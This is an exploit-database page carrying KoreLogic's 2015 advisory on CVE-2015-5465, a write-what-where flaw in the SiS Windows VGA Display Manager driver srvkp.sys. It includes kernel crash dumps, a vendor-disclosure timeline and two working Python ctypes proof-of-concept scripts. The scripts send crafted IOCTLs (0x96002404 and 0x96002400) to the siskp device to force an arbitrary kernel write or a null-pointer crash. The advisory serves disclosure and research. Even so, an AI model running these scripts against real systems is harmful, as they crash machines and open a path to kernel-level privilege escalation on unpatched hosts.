Menu

Search for hundreds of thousands of exploits

"SiS Windows VGA Display Manager 6.14.10.3930 - Write-What-Where (PoC)"

Author

Exploit author

KoreLogic

Platform

Exploit platform

windows

Release date

Exploit published date

2015-09-01

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege
Escalation

Title: SiS Windows VGA Display Manager Multiple Privilege Escalation
Advisory ID: KL-001-2015-003
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt


1. Vulnerability Details

     Affected Vendor: Silicon Integrated Systems Corporation
     Affected Product: Windows VGA Display Manager
     Affected Version: 6.14.10.3930
     Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-5465

2. Vulnerability Description

     Vulnerabilities within the srvkp module allows an attacker
     to inject memory they control into an arbitrary location
     they define or cause memory corruption. IOCTL request codes
     0x96002400 and 0x96002404 have been demonstrated to trigger
     these vulnerabilities. These vulnerabilities can be used
     to obtain control of code flow in a privileged process and
     ultimately be used to escalate the privilege of an attacker.

3. Technical Description

     Example against Windows XP:

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe.101209-1646
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0


************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     Use !analyze -v to get detailed debugging information.
     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
     Probably caused by : srvkp.sys ( srvkp+3329 )
     Followup: MachineOwner
     ---------

     kd> kn
     Call stack:  # ChildEBP RetAddr
     00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
     01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
     02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
     03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
     04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
     05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
     06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
     07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
     08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
     09 f6a52c34 804ee129 srvkp+0x3329
     0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
     0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
     0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
     0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
     0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
     15 0021f6c0 1e07bd9c _ctypes+0x54d8
     16 00000000 00000000 python27!PyObject_Call+0x4c

     Example against Windows 7:

     Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86
     Copyright (c) Microsoft Corporation. All rights reserved.


     Loading Dump File [C:\Windows\MEMORY.DMP]
     Kernel Summary Dump File: Only kernel address space is available

     Symbol search path is: *** Invalid ***

************************************************************************
****
     * Symbol loading may be unreliable without a symbol search path.
          *
     * Use .symfix to have the debugger choose a symbol path.
          *
     * After setting your symbol path, use .reload to refresh symbol
locations. *

************************************************************************
****
     Executable search path is:
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib
le
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
     Machine Name:
     Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
     Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
     System Uptime: 0 days 11:46:55.313
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     .....................................
     Loading User Symbols
     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
details
     Loading unloaded module list
     ..............................

************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     Use !analyze -v to get detailed debugging information.

     BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0}

     ***** Kernel symbols are WRONG. Please fix symbols to do analysis.
     ...
     ...
     ...

     Followup: MachineOwner
     ---------

     kd> .symfix;.reload
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     .....................................
     Loading User Symbols
     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
details
     Loading unloaded module list
     ..............................
     kd> !analyze -v

************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
     This is a very common bugcheck.  Usually the exception address
pinpoints
     the driver/function that caused the problem.  Always note this
address
     as well as the link date of the driver/image that contains this
address.
     Some common problems are exception code 0x80000003.  This means a
hard
     coded breakpoint or assertion was hit, but this system was booted
     /NODEBUG.  This is not supposed to happen as developers should
never have
     hardcoded breakpoints in retail code, but ...
     If this happens, make sure a debugger gets connected, and the
     system is booted /DEBUG.  This will let us see why this breakpoint
is
     happening.
     Arguments:
     Arg1: c0000005, The exception code that was not handled
     Arg2: ac08f2fa, The address that the exception occurred at
     Arg3: 93df4a50, Trap Frame
     Arg4: 00000000

     Debugging Details:
     ------------------

     *** ERROR: Module load completed but symbols could not be loaded
for srvkp.sys

     EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at
0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

     FAULTING_IP:
     srvkp+32fa
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]

     TRAP_FRAME:  93df4a50 -- (.trap 0xffffffff93df4a50)
     ErrCode = 00000000
     eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140
edi=d68fc588
     eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0         nv up ei pl
zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000
efl=00010246
     srvkp+0x32fa:
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]
ds:0023:00000004=????????
     Resetting default scope

     DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

     BUGCHECK_STR:  0x8E

     PROCESS_NAME:  python.exe

     CURRENT_IRQL:  0

     LAST_CONTROL_TRANSFER:  from 82ac708c to 82af0f20

     STACK_TEXT:
     93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e
     93df49e0 82a50dd6 93df49fc 00000000 93df4a50
nt!KiDispatchException+0x1ac
     93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00
nt!CommonDispatchException+0x4a
     93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x1
92
     93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63
     93df4b34 82c40b71 85644140 d68fc588 00000000
nt!IopSynchronousServiceTail+0x1f8
     93df4bd0 82c873f4 85644140 869fb048 00000000
nt!IopXxxControlFile+0x6aa
     93df4c04 82a501ea 00000088 00000000 00000000
nt!NtDeviceIoControlFile+0x2a
     93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x1
2a
     WARNING: Frame IP not in any known module. Following frames may
be wrong.
     0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4

     STACK_COMMAND:  kb

     FOLLOWUP_IP:
     srvkp+32fa
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]

     SYMBOL_STACK_INDEX:  0

     SYMBOL_NAME:  srvkp+32fa

     FOLLOWUP_NAME:  MachineOwner

     MODULE_NAME: srvkp

     IMAGE_NAME:  srvkp.sys

     DEBUG_FLR_IMAGE_TIMESTAMP:  4cc65532

     FAILURE_BUCKET_ID:  0x8E_srvkp+32fa

     BUCKET_ID:  0x8E_srvkp+32fa

     Followup: MachineOwner
     ---------

4. Mitigation and Remediation Recommendation

     No response from vendor; no remediation available.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2015.05.14 - Initial contact; requested security contact.
     2015.05.18 - Second contact attempt.
     2015.05.25 - Third contact attempt.
     2015.07.02 - KoreLogic requests CVE from Mitre.
     2015.07.10 - Mitre issues CVE-2015-5465.
     2015.07.28 - 45 business days have elapsed since KoreLogic last
                  attempted to contact SiS without a response.
     2015.09.01 - Public disclosure.

7. Proof of Concept

     # Arbitrary Write (Windows XP)
     from sys import exit
     from ctypes import *
     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
     WriteProcessMemory = windll.kernel32.WriteProcessMemory
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "siskp"
     code = 0x96002404
     inlen = 0xe6b6
     outlen = 0x0
     inbuf = 0x1
     outbuf = 0xffff0000
     inBufMem = "\x90"*inlen

     def main():
     	try:
      		handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
      		if (handle == -1):
      			print "[-] error creating handle"
      			exit(1)
      	except Exception as e:
      		print "[-] error creating handle"
      		exit(1)

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x
1000|0x2000,0x40)
      	WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,o
utbuf,outlen)
      	CloseHandle(handle)
      	return False

     if __name__=="__main__":
     	main()

     and

     # Null Pointer Dereference (Windows XP/7)
     from sys import exit
     from ctypes import *
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "siskp"
     code = 0x96002400

     def main():
     	try:
      		handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
      		if (handle == -1):
      			print "[-] error creating handle"
      			exit(1)
      	except Exception as e:
      		print "[-] error creating handle"
      		exit(1)

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0
,0x0)
      	CloseHandle(handle)
      	return False

     if __name__=="__main__":
     	main()

The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v1.0.txt
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-11-14 "Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities" webapps linux KoreLogic
2018-06-27 "HPE VAN SDN 2.7.18.0503 - Remote Root" webapps linux KoreLogic
2018-03-05 "Sophos UTM 9.410 - 'loginuser' 'confd' Service Privilege Escalation" local linux KoreLogic
2017-03-10 "WatchGuard XTMv 11.12 Build 516911 - User Management Cross-Site Request Forgery" webapps xml KoreLogic
2016-11-07 "Sophos Web Appliance 4.2.1.3 - Remote Code Execution" webapps php KoreLogic
2016-10-05 "Cisco Firepower Threat Management Console 6.0.1 - Hard-Coded MySQL Credentials" local linux KoreLogic
2016-10-05 "Cisco Firepower Threat Management Console 6.0.1 - Remote Command Execution" webapps cgi KoreLogic
2016-10-05 "Cisco Firepower Threat Management Console 6.0.1 - Local File Inclusion" webapps cgi KoreLogic
2016-06-29 "Ubiquiti Administration Portal - Remote Command Execution (via Cross-Site Request Forgery)" webapps cgi KoreLogic
2015-09-17 "VBox Satellite Express 2.3.17.3 - Arbitrary Write" dos windows KoreLogic
2015-09-01 "XGI Windows VGA Display Manager 6.14.10.1090 - Arbitrary Write (PoC)" dos windows KoreLogic
2015-09-01 "SiS Windows VGA Display Manager 6.14.10.3930 - Write-What-Where (PoC)" dos windows KoreLogic
2015-01-29 "Microsoft Windows Server 2003 SP2 - Local Privilege Escalation (MS14-070)" local windows KoreLogic
2014-11-06 "VMware Workstation 10.0.0.40273 - 'vmx86.sys' Arbitrary Kernel Read" dos windows_x86 KoreLogic
2014-07-21 "Microsoft Windows XP SP3 - 'BthPan.sys' Arbitrary Write Privilege Escalation" local windows KoreLogic
2014-07-19 "Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation" local windows KoreLogic
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.